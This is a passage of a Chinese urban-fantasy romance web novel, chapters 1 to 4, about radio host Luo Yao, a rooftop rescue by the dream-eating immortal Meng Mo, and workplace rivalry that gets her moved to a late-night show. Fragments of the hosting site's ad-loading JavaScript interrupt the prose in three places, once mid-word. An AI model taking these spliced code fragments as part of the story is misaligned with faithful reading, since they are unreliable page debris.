《夜梦电台》 1. 坏事 被雨刚浸润过的春夜,空气里都是潮湿的味道,能见度小于一米。 S市广电大楼天台上的大风也对白色的雾气没辙,要散不散,看起来随时可能会再下一场猝不及防的雨。 时间指到午夜一点。 夜里风大,洛瑶裹紧了身上的风衣,顾不上长发被风吹得有多凌乱,手提着一袋装了好几瓶罐装啤酒的塑料袋,慢悠悠地爬着楼梯晃上来。 她熟门熟路地走到天台边上,挑选了一个角度正好可以俯瞰整个S市,手脚麻利地爬上了围栏,盘腿坐下,随意拿出一瓶啤酒打开,喝了一口后开始打电话。 “颜子,你说我上辈子是不是做了很多坏事啊?”清脆悦耳的声音里夹带着不甘与自嘲。 “要是做很多坏事能变成像你这样的肤白貌美大长腿女主持人,那我上辈子估计是救世主了吧。”电话那头除了一个中气十足的女音还伴随着噼里啪啦的敲键盘声。 “那你说我怎么就遇到闻芳卉这奇葩了呢?”洛瑶生气地捏住啤酒瓶,狠狠砸在栏杆上。 “这事真不能怪你,奇葩年年有,可像她那么不要脸的也是罕见。要不你干脆辞职吧,来我们报社。”敲键盘声停下,颜子非常真诚地发出邀请。 颜子和洛瑶是大学室友,两人顺利从S大毕业,通过校招,一个去了报社当记者,一个去了广电当主持人。 洛瑶在广电兢兢业业,任劳任怨地工作了五年,本想着趁着这次提干机会能晋升涨点工资,没想到却被死对头闻芳卉弯道超车。 “你说这闻芳卉到底是为什么这么针对我?一当上组长就疯狂给我加工作。” “我听说她要和你们副台长结婚了。” “哪个副台长?” “你咋消息这么不灵通啊?就先前对你很殷勤的那位。”颜子一副恨不得马上结束加班,冲过来教育洛瑶的样子。 洛瑶打了个嗝,突然清醒过来,“原来是这样,唉,女人何苦为难女人呢?” “那个副台长上半年还在天天给你送花呢,现在这么着急和闻芳卉结婚,这其中的猫腻你不会不知道吧?” “我知道,他怕自己精|子质量不行,着急给以后的娃找个妈。”洛瑶漠然地看向远方。 颜子被逗笑了,“你啊你,既然知道还不快跑,你不如自己出去单干,当个网红主播。” 天台上的风不知怎地越来越大,洛瑶耳边充斥着呼呼的风声,连颜子那边的声音都有些听不太真切了。 离不离开广电集团暂且不论,洛瑶知道她现在需要赶紧离开这天台,不然明天铁定要感冒。 她一手举着手机,一手撑在栏杆上,用力向上起身,谁知她竟然高估了自己的身体素质,刚才明明没坐多久,她的下半身就已经失去了大半知觉。 双腿直立起来的那一瞬间,酥麻感从脚底传上来,逐渐变成了恐慌感,她下意识地在空中胡乱挥舞手臂却还是阻止不了整个身体因为惯性直接向前倒去。 要知道,她所站着的位置可是足足有20层楼高,这一摔下去,结果可想而知。 洛瑶绝望地闭上了双眼,抱紧了自己的双臂,已经在脑海里开始幻想自己的死状。 爸爸妈妈对不起,是女儿不孝了。 就在这千钧一发之际,一股强劲的力量从天而降,及时拉住了洛瑶的后衣领。 紧接着一个利落的拖拽,让她直接从前扑转为后仰,在还没来得及睁开眼看清一切的时候就向后摔倒了地上,紧接着尾椎骨传来一阵巨痛。 怎么回事? 洛瑶还没从疼痛中缓过来劲来,她又被人拉住衣领从地上扯了起来,这时她终于看到把她拽来拽去的东西是一只人手,骨节分明,在黑暗之中白得有些吓人。 她顺着手往上看,隐约之中看到了一个比她高出一大截的男人,宽肩窄腰,一袭黑色长外套。 他正背对着她,挡在她身前,风吹动着他的衣摆,他整个人却像定住了一样,纹丝不动。 “谢谢你救我,不过你为什么要挡在我……”洛瑶觉得一头雾水,反应迟钝地上前一步,差点以为自己眼花了。 在那个男人面前有一团漂浮在半空中的黑气,正逐渐显露出一个模糊的人影。 “你为什么追着我不放?”人影歇斯底里地冲着男人咆哮。 男人低沉的嗓音不带任何一丝温度:“魇昧,你身上的血腥味过重了。” “梦貘大人。”原本嚣张跋扈的人影突然跪倒在地,悲凉而绝望地说道:“求您放过我吧,我只要再吸一点血,就只需要一点就能变成人了。” “哦,是吗?”男人不屑地冷笑道。 “梦貘大人,难道您就不想变成人类吗?一直活着不累吗?”魇昧以为有戏,瞬间变了脸,继续发出蛊惑人心的声音。 男人没有再多说一句话,只是抬起手,在半空中随意写了个“杀”符。 一瞬间,魇昧的黑气完全被金色的光芒笼罩,变得越来越微弱,越来越小,直到完全消失殆尽。 什么“魇昧”,什么“梦貘”,目睹完这一切的洛瑶以为是自己喝多了,眼睛和耳朵都出了毛病,赶紧狠狠地掐了一下自己的大腿,真实的痛感令她忍不住惊叫起来。 男人显然不喜欢她发出这种刺耳的声音,转过身,面色沉重地捏了捏眉心。 在天台昏暗的光线下,洛瑶终于看清了男人的样貌:他的眉目间天生带情,可偏偏脸上线条走向冷硬,生生多出来些可远观而不可亵玩的清冷孤傲之态。 在他愈发冰冷的注视之下,洛瑶整个人都发毛起来,惊恐地捂住自己的嘴巴,双手双脚都不由自主地颤抖。 此时不知从哪里冒出一阵风,洛瑶的眼睛感觉被什么烫了一下,她下意识地闭眼保护自己,随后马上因为害怕而条件反射地睁眼。 空旷的天台,除了风,什么都没有。 什么黑影,什么奇怪的男人,都像是从来没有出现过一样,但空气中却漂浮着一缕若有似无的檀香。 洛瑶急急忙忙去寻自己的手机,发现和颜子的通话不知道什么时候已经断了,她再拨过去的时候,对方也没有接。 冷汗从洛瑶的后背渗出来,她从左到右环视一圈,确定啥也没有之后,她拍了拍脑门,自言自语道:“是幻觉是幻觉,肯定是因为今晚喝了假酒。” 一秒钟都没有在天台多停留,洛瑶头也不回地冲下楼,打了车回家,揣着一颗七上八下的心脏,匆忙洗漱完就躲进被窝里睡觉了。 万籁俱寂的黑夜,最适合人进入沉沉的睡梦中。 * 一片白茫茫的雾气深处,隐隐约约显现出一座古色古香的院落。 风声沙沙作响,地上瞬间落满了白色的花瓣。 头顶扎着两个小团子发髻的少女跪坐在地上,捧起一花手的花瓣,泫然欲泣。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “阿瑶,你在那儿做什么?”富有温度的嗓音在不远处响起。 少女倔强地捧着花,小跑着来到高大俊美的男人身边,唤道:“师父,你说过开得正艳的漂亮花朵不能摘,可是当他们变成花瓣落下的时候再也无法复原那种美丽了,它们好可怜。” 身穿一身玄色长袍的男人轻轻拍了拍少女的头,抿了抿唇,淡淡道:“所谓落红不是无情物,化作春泥更护花,瑶儿,这花瓣虽然落到了地上,可它们还在完成自己的使命。” “使命?”少女抬起头,琉璃一般的眼珠子里透着迷茫。 男人如玉的容色清俊疏朗,只见他的嘴角微微上扬,开导少女:“是啊,它们的使命就是让来年再度开的花更加鲜艳而美丽,就像人一样,每个人都有自己活着的使命。” “师父也有吗?” “嗯,必然有。” “那师父的使命是什么?” 男人没有马上回答少女的问题,而是默默看了会儿那些还在纷纷落下的花瓣,随后就像是突然想通了什么,神情恢复了往日的平静。 “我的使命就是去打仗,守护这个国家。”男人如是说。 少女气恼地跺了下脚,腮帮子鼓了起来,嗔道:“可是师父每次去打仗都要好久才能回来,每次回来还会受伤。” 男人无奈地笑了笑,只当听到了孩童天真的玩笑话,他用手指拂去飘落在少女头顶的花瓣,笑道:“阿瑶,我不在的这段时间,你可有好好读书?” 少女瞬间心虚地红了脸。 “书房里的书,你可随意看,等你把书房里的书都看完,我就会回来了。”男人对少女许下承诺。 “要是师父说话不算话呢?”少女倔强地抬着头,眼神清亮。 男人将飘落在手里的花瓣放进少女摊开的手掌心,薄唇轻启:“那你就好好吃饭,好好睡觉,哪天要是在梦里梦到我了,我就会出现。” 男人转身就迈开步子头也不回地走了,少女急忙追了过去,却怎么也追不上…… 前方的路好像永远没有尽头,洛瑶还在不停地跑着,身体越来越沉,终于到达了极点。 她实在撑跑不动了,直接摔倒在了地上。 奇怪的是,她的背部并没有受到因坚硬物体撞击而造成的疼痛,而是软绵绵的。 猛然一睁眼,首先映入眼帘的是白色天花板,随后是熟悉的窗帘,熟悉的家具摆设。 洛瑶直立坐起,低头一看,发现自己手上正抓着被子,坐在柔软的床垫上。 温煦的阳光从落地窗照射进屋子里,不知是从什么时候开始已经铺满了床铺,把她的手臂映衬地雪白。 洛瑶觉得这梦做的着实让人头疼,迷迷糊糊地抓了抓自己的头发,准备躺下再缓一缓。 就在她的头下一秒就要沾到枕头的时候,她终于意识到了不对劲。 整个屋子的气氛有些沉闷,除了她平时所熟悉的气息外,屋子里还多出了不属于这里的檀香。 更让人不安的是,她刚刚余光好像瞄到了一个东西,在她的右侧,正对着窗户。 洛瑶下意识地先抓到了自己的手机,动作麻利地朝着不明物体的反方向后退,然后睁大眼睛望去。 “啊啊啊啊!”洛瑶忍不住用尖叫打破了房间里的宁静。 那个位置本来就只放置着一张米色的沙发,而现在那张沙发上平白无故多出了一个人。 2. 是你 准确来说是一个男人——举手投足间尽显清风霁月,不带丝毫烟火气息,仿佛一幅画卷一般,看起来是那样的美好,却又让人感到无比压抑,所有东西都藏在内里,不轻易示于他人。 然后,好像有那么点眼熟。 她的记忆开始复苏,眼前的这位不速之客的的样貌逐渐与她昨晚在天台见到的那个男人重合在一起。 “是你!”洛瑶一边向后退,一边颤巍巍伸出手指着对方。 面对洛瑶的惊慌失措,男人像是早就预料到似的,非常平静地安坐在沙发上,双手环抱在胸前,好整以暇。 一瞬间,洛瑶脑袋发懵,躲到离那个男人最远的地方,下意识地抓起手机,凭着肌肉记忆拨打了110。 奇怪的是,那个男人并没有任何想要阻止洛瑶的意思,非常平静地安坐在沙发上,全程目睹着洛瑶报警。 这是什么情况? 洛瑶本着天大地大活着最大的信念,冷静地完成了报警流程。 打完电话的她像是被注射了一枚强心针,讲话都变得有底气了,她戒备地看着对方,质问道:“你是谁?为什么在这里?” 闻言,男人将原本交叠在膝盖上的手放下,优雅地站起来,他的肩膀很宽,个子也很高,即使离得很远也能带给人无形的压迫感。 他穿着最简单的白色衬衣和黑色长裤,嘴角噙着一抹这世间鲜少见的温柔笑意,稳重地开口道:“我是梦貘,我是为你而来的。” “为我?” 听到这两个字的洛瑶努力让自己的大脑开始飞速运转,可想了半天也没想起自己从前和眼前这个奇怪的男人之间有过什么瓜葛。 这人怕是个神经病吧。 真的好可惜,长得像男模一样,脑子却有问题。 洛瑶摇了摇头,用同情的目光看了他几眼。 他是从哪里进来的,作为一个独居女性,每晚睡觉前,洛瑶都会仔细检查好家里的门窗是否关好。 “你怎么进屋的?”洛瑶勉强稳住自己的声音,让其不会抖得那么厉害。 “你在梦里梦到了我。”男人的声音自带温柔缱绻。 梦到? 洛瑶仔细回想了下先前的那个梦。 满是落红的院落…… 一个小女孩和她的师父…… 难道这个师父是他? 梦里人的脸已经变得模糊不清了,洛瑶简直不可置信。 她梦里出现的人怎么会突然站在她眼前呢? 不是她疯了就是眼前这个人是个疯子。 洛瑶脑海中闪过无数入室抢劫杀人案的画面,心率以极快的速度攀升至最高点,连呼吸都有些困难。 “你进来多久了?”洛瑶准备说点什么拖延下时间。 “从你梦到我开始。” 他是怎样做到面不改色地说出这样的情话的? 洛瑶心里升起一阵恶寒,她威胁道:“我已经报警了,警|察马上就到,你识趣地话赶紧离开我家吧。” “识趣?”对方不明所以地呵笑。 空气的温度一下骤降,让人感到不寒而栗。 洛瑶在心里默默为自己祈祷。 双方僵持着,时间在不知不觉中流逝,就在洛瑶感觉自己快要支撑不住的时候,警|察赶到了。 警|察将两人带回所里进行调查。 警|察先问了洛瑶:“你不认识他对吗?” 洛瑶看了眼坐在她身边的人,真诚而又猛烈地摇头。 警|察转而又问那个奇怪的男人:“先生,请问你是谁,为什么出现在这位小姐家里?” “梦貘,找她有事相商。”梦貘云淡风轻地答道,脸上丝毫没有慌张的破绽。 “所以说你认识她。”警|察指了指洛瑶,问他:“她叫什么?” “洛瑶。” 还等不及警|察向洛瑶确认,洛瑶已经听傻了,重新开始审视眼前的这个人。 他坐着也比她高很多,太平洋宽肩显得椅子都小了很多,自带强大的气场,可他偏偏眉目如画,深邃的眼睛会让人很容易陷入深情的错觉之中。 为什么他会知道她的名字? 难道是什么跟踪狂?变态? 就在洛瑶还来不及多想之际,周围的空间便发生了变化。 文件被翻动的声音、群众的争辩声、警|察的询问声渐渐都抛向了无限遥远的地方,令人心生敬畏的派出所场景被替换成了洛瑶十分熟悉的地方——熟悉的沙发,熟悉的电视,熟悉的门窗…… 明明上一秒,他们还坐在派出所里对峙,下一秒,他们就回到了洛瑶的家里。 洛瑶一开始怀疑是自己眼睛出了毛病,狂揉眼睛,可一点改变都没有。 怎么回事?他们刚刚分明就在派出所里啊,为什么现在却只有他们两个人在洛瑶家的客厅里? 这一定还是在梦里发生的事,洛瑶一边安慰自己,一边环抱住自己的手臂,手指不自觉用力收缩,强烈的痛感差点让她尖叫。 就在洛瑶准备拿头撞墙之前,梦貘及时阻止了她。 梦貘把手搭在洛瑶的手腕上。 是热的,不是鬼。 洛瑶被手臂肌肤上传来的真实感吓了一大跳,连忙跳开了好几步。 “你究竟对我做了什么?”洛瑶捂着自己的脑袋,用惊恐万分的眼神盯着梦貘。 梦貘将双手负在身后,向洛瑶走近一步,温文尔雅地说道:“我只是不想让事情变得麻烦。” “只是?”洛瑶赶紧向后退了一步,伸出手来阻止梦貘,“你站着别动。” “你在害怕?”梦貘有些惊讶。 “这不是废话吗?谁一觉醒来发现一个陌生人在自己家里不害怕?”洛瑶忍不住把自己的心里话说了出来。 洛瑶的父母都是信佛的人,每年的大年初一,他们都要去当地最有名的庙里烧香拜佛,顺便还把每个家庭成员的生辰八字都拿出来算一算。 如果预示来年运气顺遂,则安了心。如果不顺遂,便花钱买个安心。 可偏偏洛瑶是个无神论者,每次都拒绝和爸妈一起进庙里。 洛瑶本以为自己会一直活在理性科学的世界里,结果在这一天,心中的信念被彻底击垮。 如果说发现一个陌生男人凭空出现已经够吓人了,后续警|察把他带走后发生的一系列事情更令人匪夷所思。 他们到底是怎样从警|察局出来的,洛瑶真是一点记忆都没有,只是眼睛一眨的瞬间,空间的转换就完成了。 “你究竟是什么人?为什么会知道我名字?”洛瑶紧紧地揪着自己胸口的衣服,好像这样能保护自己的心脏一样。 “我不是人类,我是梦貘。”窗外的光落在梦貘脸上,让人将他脸上正儿八经的表情看得一清二楚。 要是没发生穿越空间这回事,洛瑶肯定还是觉得眼前这个人是个神经病。 可亲身经历如今便摆在面前,洛瑶一不留神被震撼地摔倒在地。 梦貘是个啥玩意?她以前只听说过九尾狐的故事。 “你……还好吗?”梦貘试图走上前扶起呆坐在地上的洛瑶。 惊魂未定的洛瑶身体敏捷地如泥鳅般,在地上艰难地扭动着又退了几步路,“你别过来,我不管你是什么,能不能有点礼貌,像这样突然出现在别人家里真的很吓人。” 梦貘无奈地摊开了手,脸上的表情稍显局促,“那我应该怎么做?” “先离开我家吧。”正所谓眼不见为净,洛瑶觉得现在的自己急需要冷静一下。 闻言,梦貘倒是很自觉地离开了。 没过一会儿,门外传来了门铃声。 洛瑶走到自家玄关,看了眼墙上的显示器,不出所料地看到了梦貘那张清隽的脸。 不得不说,倒真是个帅哥,即便是在死亡角度下,这张脸也可以堪称一绝。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 洛瑶咬着手指,心里在挣扎。 虽然这梦貘不是人类,可他好像也没有要伤害她的意思,他说自己是为她而来的,是不是自己应该具体问问原因呢。 正当洛瑶准备上前开门时,从她的身后传来了一个熟悉的声音—— “现在我们可以谈谈了吗?” 不是梦貘是谁? 洛瑶急忙看了眼显示器,发现门口不知道啥时候已经空无一人了,而她一转头,就看见梦貘闲适地站在那里,好似一幅准备和她谈论今天天气如何的模样。 幸好洛瑶今年的体检报告显示她的心脏没有问题,不然她现在恐怕已经需要拨打120了。 “冒昧地问一下,你的名字叫梦貘吗?” 洛瑶家有一张长桌,此时她和梦貘分坐在桌子的两端,隔着相对安全的距离。 “我被上尊唤作梦貘,但我有你们人类的身份证。” 梦貘不知从哪里变出了一张卡片,并只用了不到一秒钟就把卡片传递到了洛瑶面前。 洛瑶定睛一看,确实是一张正常人类的身份证。 姓名那一栏写着“傅以山”,证件照照的和他本人没什么区别,远山般的眉眼,面色清冷。 “上尊是谁?你的父母?” “我并无父母,是上尊抚养我长大。” “那梦貘是一个物种?类似九尾狐?” 梦貘轻笑了一声,“你们人类好像很了解九尾狐?” “也不能算是了解吧,只是因为关于九尾狐的故事格外多。”洛瑶稍稍回忆了下就能记起很多主人公是九尾狐的电视剧。 “我和九尾狐并不一样,比他们存在的时间更久。”梦貘轻描淡写地讲出一句很有威慑力的话。 比九尾狐还老,那岂不是更厉害了。 洛瑶用手抠住桌子的边缘,战战兢兢地继续问道:“你为什么会知道我的名字?” “那你呢,为什么会梦到我?”梦貘的坐姿很正,白色的衬衫十分贴合他的宽肩,露出一截修长的脖子。 “笑话,我什么时候梦到你了?”洛瑶不假思索地就反驳起来。 刚一说完,洛瑶脑海里便闪过了那个满是落花的庭院。 难道说那个被唤作“师父”的人真是他? “想起来了?”傅以山温馨提醒。 想是确实想起来了,可是他怎么知道她做了什么梦? “应该已经过去千年了,”傅以山向后靠在椅背上,向上抬眼,像是陷入了某段回忆里,沉着嗓子道:“这么久以来只有你一人梦到过我。” “什么?千年?”洛瑶忍不住拍响了桌子,这活了千年的大佛坐在她面前,让她差点腿一软从椅子上摔下去。 “嗯,具体的数字记不清楚了,但按你们人类的计算法,我已经活了远不止五千年了。”傅以山摸着下巴,端出一副老者之态。 按照洛瑶刚刚看到的身份证,傅以山是个今年刚满三十岁的男人,他的外表看起来也大概三十岁左右。 谁能想得到他的灵魂已经超过五千岁了呢? “你为什么会知道我做了什么梦?”洛瑶细思极恐,感觉有一股寒气从她的脚底开始,不断地爬升,令她全身发冷。 “这算是我的工作。”傅以山的表情严肃而又认真,耐心地和洛瑶解释,“我能看见别人做的梦,但一般不会主动去看,因为你梦到了我,所以我看到了。” “哦,原来是这样。”洛瑶心里盘算着,不知眼前这妖怪还有多少技能。 傅以山曲起食指指骨,敲了两下桌子,讲出了自己的结论:“我曾经失去了一段记忆,我想应该和你的这个梦有关系。” 洛瑶有点惶恐,很多时候她都不记得自己做了什么梦,下意识地争辩道:“可是我只梦到过一次,也许只是巧合。” “所以,如果你不介意的话,我们需要住在一起一段时间。”傅以山提出了自认为很合理的建议。 3. 影响 可这在洛瑶听来,简直太魔幻了。 一想到要和活了超过五千年的妖怪同居,洛瑶额上的神经都开始突突直跳。 “这不行!”洛瑶急忙激动地从椅子上跳下来,赶紧扯了个谎,“我男朋友知道了会吃醋的。” 阿弥陀佛,母胎单身二十五年的洛瑶讲这话真是心虚得要死。 不过特殊时刻,只能死马当活马医了。 “你有男朋友?”傅以山似乎有点不相信。 “有男朋友很奇怪吗?”洛瑶低头看了眼自己。 早上出门急,她来不及打扮,简单地穿了套长袖睡衣,脸上也没化妆,随意戴了个框镜遮羞。 呃……这确实好像有点邋遢。 不过这并不重要,目前重要的是劝退对方。 “虽然你不是人类,但你外表上是一名成年男性,而我是一名女性,住在一起会造成生活上的不便。”洛瑶决定好好和傅以山再掰扯下道理。 傅以山摸着下巴若有所思,双眸里短暂地掠过一丝茫然,“那你有什么好的建议吗?” “这样吧,要是下次我还做梦梦到你,你到时候再来找我讨论这个问题?”洛瑶撇过头,努力让自己显得沉稳些。 做梦梦到什么又不是她能控制的,说不定以后她就不会再梦到妖怪了。 傅以山这回倒是没反驳,揉了揉自己的眉心,语气里带着一丝无奈:“你是不是不相信我的话?” 洛瑶心里咯噔一下,下意识后退,怕傅以山对她不利。 看到洛瑶的反应,傅以山总算是回过了神,收起了自己略显唐突的脚步。 “你别怕,我不会伤害你。” “你给我点时间,我需要冷静思考下。”洛瑶伸手挡在自己身前。 “好,那我给你时间。”傅以山将双手放进外套口袋。 当洛瑶的眼睛再度一闭一睁之后,傅以山凭空消失了,就像从来没出现过一样。 一直紧绷着的神经瞬间断开连接,洛瑶再次腿软跌倒在地,仿佛刚刚那个和妖怪理直气壮讲话的人不是她。 她哆嗦着手,掏出手机,查找了梦貘的资料,可惜的是,大多数资料都只是猜测,十分神秘。 “梦貘,上古时代的神兽,特指一种奇幻生物。传说中,他们以梦为食,吞噬梦境,也可以使被吞噬的梦境重现……” 网上虽然没有梦貘的确切照片,却有很多模型图——身上只有黑白两色,鼻子比较长,又像猪又像象。 果然,不论是九尾狐还是梦貘,是妖怪就都很懂得如何幻化成人喜欢的模样。 “叮咚——” 家里的门铃声忽而又响了起来,洛瑶被吓了一跳,以为是梦貘又来向她讨价还价了,却不料在猫眼里看到了颜子。 开门后,颜子着急忙慌地扑了上来,逮着洛瑶一顿揉搓,把她整个人翻来覆去看了一半,确定人是完好无损的之后,她松了一口气:“谢天谢地,你没事就好。” “怎么了?”洛瑶不知发生了什么事,直觉告诉她不太对劲。 颜子打开手机递给她,“这怎么回事啊?你昨天在天台干啥呢?” S市某知名论坛上挂了一个帖子,帖子名为:“本市电视台某美女主持人因为被潜规则而自|杀”。 “这……不会说的是我吧?”洛瑶点开帖子里那张照片,用手指放大看,上面那人的穿着确实和她昨晚是一样的。 “我问你啊,你昨天是在天台给我打电话的?”颜子又好气又好笑地看着洛瑶。 洛瑶顶着一张无辜的脸,做了个发誓的手势:“这个人可能是我,但我绝对不想自|杀,是个意外。” 说巧不巧,昨天就洛瑶站在天台上的那短暂的几秒钟,正好被某正义人士拍下来,发布到了网上,还配上了一段意味不明的文字:据悉,该名女子系电台节目主持人,因为他人暗箱操作,遭逢不幸……一时想不开而造成悲剧惨祸。 “这写的什么鬼东西啊。”洛瑶赶紧像扔烫手山芋一样把手机扔还给颜子。 颜子伸开双臂,环抱住洛瑶,在她背上拍了拍,感叹道:“我就知道你不是这样的人,可是别人不知道啊,估计你们部门现在已经炸开锅了。” “对哦!我手机在哪来着?”早上经过那一遭,洛瑶吓得魂飞魄散,手机早就不知道被她扔到哪个角落里。 此时找到手机一看,未接电话和信息已经满屏了。 “完蛋。”洛瑶扶额,背后冷汗都不由得冒出来。 * 冷空气南下的时候,阴冷的雨也开始抽丝剥茧似的带走温暖的气息。 南方的冬天,没有暖气,只有湿冷。 洛瑶匆匆赶到会议室的时候,会议室已经坐满了人。 外面的天阴阴的,会议室里却被暖黄的灯光照得通亮。 最亮的地方是讲台,上面只坐了三个人,分别是两个副台长和一个正台长,略显空旷,而底下好几排座位都满满当当,看起来已鲜有空缺。 洛瑶在门口悄悄扫了一圈,终于发现倒数第二排最边上有个空位,她急忙小跑进去坐下。 谁知屁|股还没坐稳,就被人推了一下,闻芳卉那让人讨厌的声音随即在她耳边响起:“你去坐第一排中间。” 洛瑶小心翼翼地伸出脖子瞅了一眼。 第一排中间确实空了一个位置,无缘无故地,像是特意留给她的一样。 可是从她现在的所在位置要绕过很多人才能坐到那里,显然会成为全场最扎眼的“非法闯入者”。 洛瑶抓着椅子扶手,稳了稳坐姿,用眼神拒绝了闻芳卉。 闻芳卉很着急地掐了一把洛瑶,把她往前推了一下,“叫你过来就是要坐那里,快去。” 随着洛瑶下意识地一转头,这才注意到闻芳卉手里端着个相机,看来她今天负责给领导拍照。 一般情况下,为了拍出来的照片有场面,前几排最好都要坐满,不然空着位置显得难看。 可洛瑶就不懂了,闻芳卉难道不会随便从后面几排人里拉壮丁坐前面吗?还非要让她补空缺? 这时候的洛瑶心里不窝火是不可能的,正想同她争辩几句,不曾想台上有位坐不住了,假装咳了咳,全场一下安静了。 在场有不少人都不约而同地看向洛瑶。 洛瑶是典型的江南美女长相,皮肤雪白,眼睛乌黑,长发及至纤腰,平时在大街上也没少受到他人的关注,只是此关注非彼关注。 现在的情况就很尴尬,如果坐到那个中间那个位置上,相当于就是让闻芳卉得逞了,而要是不去,场面就会僵持下去。 洛瑶低下头,正好看到一双脚。 既然对手给了她可乘之机,她自然要好好把握。 于是洛瑶毫不犹豫地精准踩过那双脚,冲闻方卉轻声说了句抱歉,然后优雅地站起身,假装抱歉地捂着嘴,迅速移动到那个指定给她的位置上。 众目睽睽之下,闻芳卉忍着脚痛,艰难地夹着尾巴开溜了。 洛瑶偷偷转头瞄了她几眼,心里有一点点解气。 “本次会议,主要想讲的一个问题是关于我们员工的心理素质问题,今天网上的谣言相信大家也都看到了,除了希望我们单位内部不要有人以讹传讹之外,我们几个领导商量了一下,决定请专家来单位进行心理讲座,到时候有问题的员工可以获得及时的咨询和治疗。” 准 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 备全程都当鹌鹑的洛瑶听到大领导讲到这句话时,手中假装记笔记的笔顿了顿。 没想到这次事件的影响力那么大,本来一年才开一次员工大会的单位破天荒为了这次事件还召开大会。 闻芳卉催着她回来估计也是为了向其他人证明她没事,网上所说的都是一派胡言。 不仅如此,开完大会之后,部门里还要开小会。 频道主任郭杰是个中年大叔,头发虽然一天比一天少,但为人还算随和,平时对下属的错误都会睁一只眼闭一只眼。 只不过这次,他看起来面色有点沉重。 “其实……”郭杰看了眼坐在他左手边的洛瑶,摸了摸鼻子,又转头看了眼闻芳卉。 “其实本次会议主要是要讲一件事,对吗,杰哥?”闻芳卉笑颜如花,却透着一种不同寻常的得意。 郭杰尴尬地笑了笑,决定两边都不看,直直地向前看,然后宣布道:“由于音乐之声栏目近段时间收听率下滑,我们几个领导商议后决定更换该节目的主持人,改由闻芳卉主持,原本的主播洛瑶,将调整到深夜电台栏目。” 音乐之声的播出时间是每天的上午十点,而深夜电台却是晚上十一点,相当于要让人重新调整生物钟,基本没人愿意去。 况且,凭什么突然调换岗位?昨天视频的事情只是一个意外,音乐之声收听率是有所下降可总比闻芳卉手上的栏目高啊。 全场安静了不知道多久。 郭杰小心翼翼地看向洛瑶,“洛瑶,你能接受这个决议吗?” 都说了是决议,那也就是说如果不接受就只有辞职一条路。 狠啊,这帮人是等着对她赶尽杀绝啊。 作为一个底层打工人,洛瑶不敢一怒之下拍桌而起,大声质问郭杰,只好握紧了拳头,抬眼正对上闻芳卉挑衅的眼神。 从闻芳卉当上组长的那一刻,她就被针对了,一开始是增加工作量,现在直接要换岗。 洛瑶虽然做不到撒泼打滚,但还是忍不住提出自己的看法:“杰哥,既然闻组长有能力能拯救音乐之声的收听率,那要不让她去拯救下深夜电台?我会想办法让音乐之声的收听率提上去的。” “你……”闻芳卉显然没料到洛瑶还敢反抗,讽刺道:“洛瑶,你还有脸提议?你知不知道你昨晚的行为有多影响单位形象?” “我怎么影响了?” “大晚上的你不回家,跑到单位天台上想干什么?没有报警抓你已经是领导们的仁至义尽了。” “好了好了,这件事以后都不要再提了,现在帖子已经删除了,网上的舆论也在渐渐平息,我想洛瑶也不是故意的,昨晚她确实在单位里加班,我能替她作证。”郭杰出来拉架,用颇为明事理的口吻给了洛瑶台阶下。 洛瑶在心里默默感谢了郭杰,盯着闻芳卉,看她还有什么招数。 “行,既然昨天那件事暂且不论,那杰哥,你还有什么可顾虑的呢?”闻芳卉不懈地从洛瑶身上移开目光,转投到郭杰身上。 调岗这件事并不是郭杰的主意,还不是上头提议的,让郭杰不得不做这个“坏人”。 昨晚的事情着实让人吓一跳,如果洛瑶真是因为不服领导安排而想不开,这事可就大了。 所以调岗一事,本来领导也有所犹豫,可奈何闻芳卉吹的枕头风太厉害。 比起领导夫人,像洛瑶这样没后台的社畜只能拿来献祭了。 郭杰颇有些为难地看向洛瑶,顾虑到她的情绪,忐忑地说道:“洛瑶,我相信你的能力,不论你在哪个岗位都能表现得很好。” 闻芳卉一副小人得志的样子,紧抿着唇,像是下一秒便要控制不住脸上露出笑意来。 4. 绑架 “阿芳这明显是公报私仇,她肯定知道台上那个臭老头本来想潜规则你,但是没成功,她现在成功上位了,肯定手段下作,恨不得逼你辞职滚蛋。” 一下班,洛瑶便迫不及待地把自己的遭遇告诉了颜子,颜子感同身受地开始和洛瑶煲起了电话粥。 真佩服颜子这马上透过现象看到本质的才能,洛瑶嘴角不由得悲从中来。 “颜子,要不我们辞职,一起去摆摊吧?”洛瑶已经无数次冒出过辞职的念头。 “那你一辞职,岂不是遂了阿芳的意?”颜子显得比洛瑶还要不甘心。 闻芳卉比洛瑶小几届,一开始进电视台是在记者岗位的,说起来洛瑶曾经还当过几天闻芳卉的老师,教她怎么操作。 没想到,得势之后的闻芳卉气焰嚣张,反过来处处想压洛瑶一头。 在职场里,往往就是有很多你讨厌的人会强迫你让你做你不愿意的事,只是洛瑶不甘心一直被压榨,因为她深知人善被人欺的道理,你越软,别人就越喜欢拿捏你。 “啊……生活好难。”洛瑶向后躺在了床上。 折腾了一天,一沾到床,困意便一卷而来,颜子絮絮叨叨的吐槽和安慰如同催眠曲,洛瑶开始还能应付几句,后面意识涣散了,糊里糊涂开始做起梦来。 一入目便是残酷的战争,鸣笛之音呼啸苍穹,金戈铁马血染万里黄沙。 战火逐渐逼近一座城池,位于城中心的最高一处小楼中传出轻柔而有力的琴声,抚琴之人是一位肌如凝脂,手如柔荑的妙龄女子。 “小姐……”一阵急匆匆的脚步停在琴旁。 抚琴之人按下琴弦,缓缓侧身,清秀绝俗的脸上略施粉黛,如湖水般清澈的双眸望向一脸局促的自家丫鬟,欣喜不已地笑道:“可是师父回来了?” 这抚琴之人有着一张和洛瑶近乎一模一样的脸。 丫鬟上气不接下气,“不是的小姐,是老爷找你。”说完她便垂下头,担心自家小姐会失落。 “洛瑶”长叹了一口气,起身和丫鬟一起走了。 画面转到了一间静室,镂空香薰鼎里焚着迦南香,一缕青烟淡而缥缈。 一位上了年纪的长者端坐在太师椅上,神气内敛,不怒自威。 “阿瑶,你速去整理行装,我们今晚就走。”长者说话的语气淡然无波,但他的眼神没由来让人后背发紧。 “父亲,所谓一日为师终身为父,我既已拜在傅以山名下为徒,自是不能做不忠不孝之事。”站在静室中央的“洛瑶”疾言厉色地拒绝了父亲的要求。 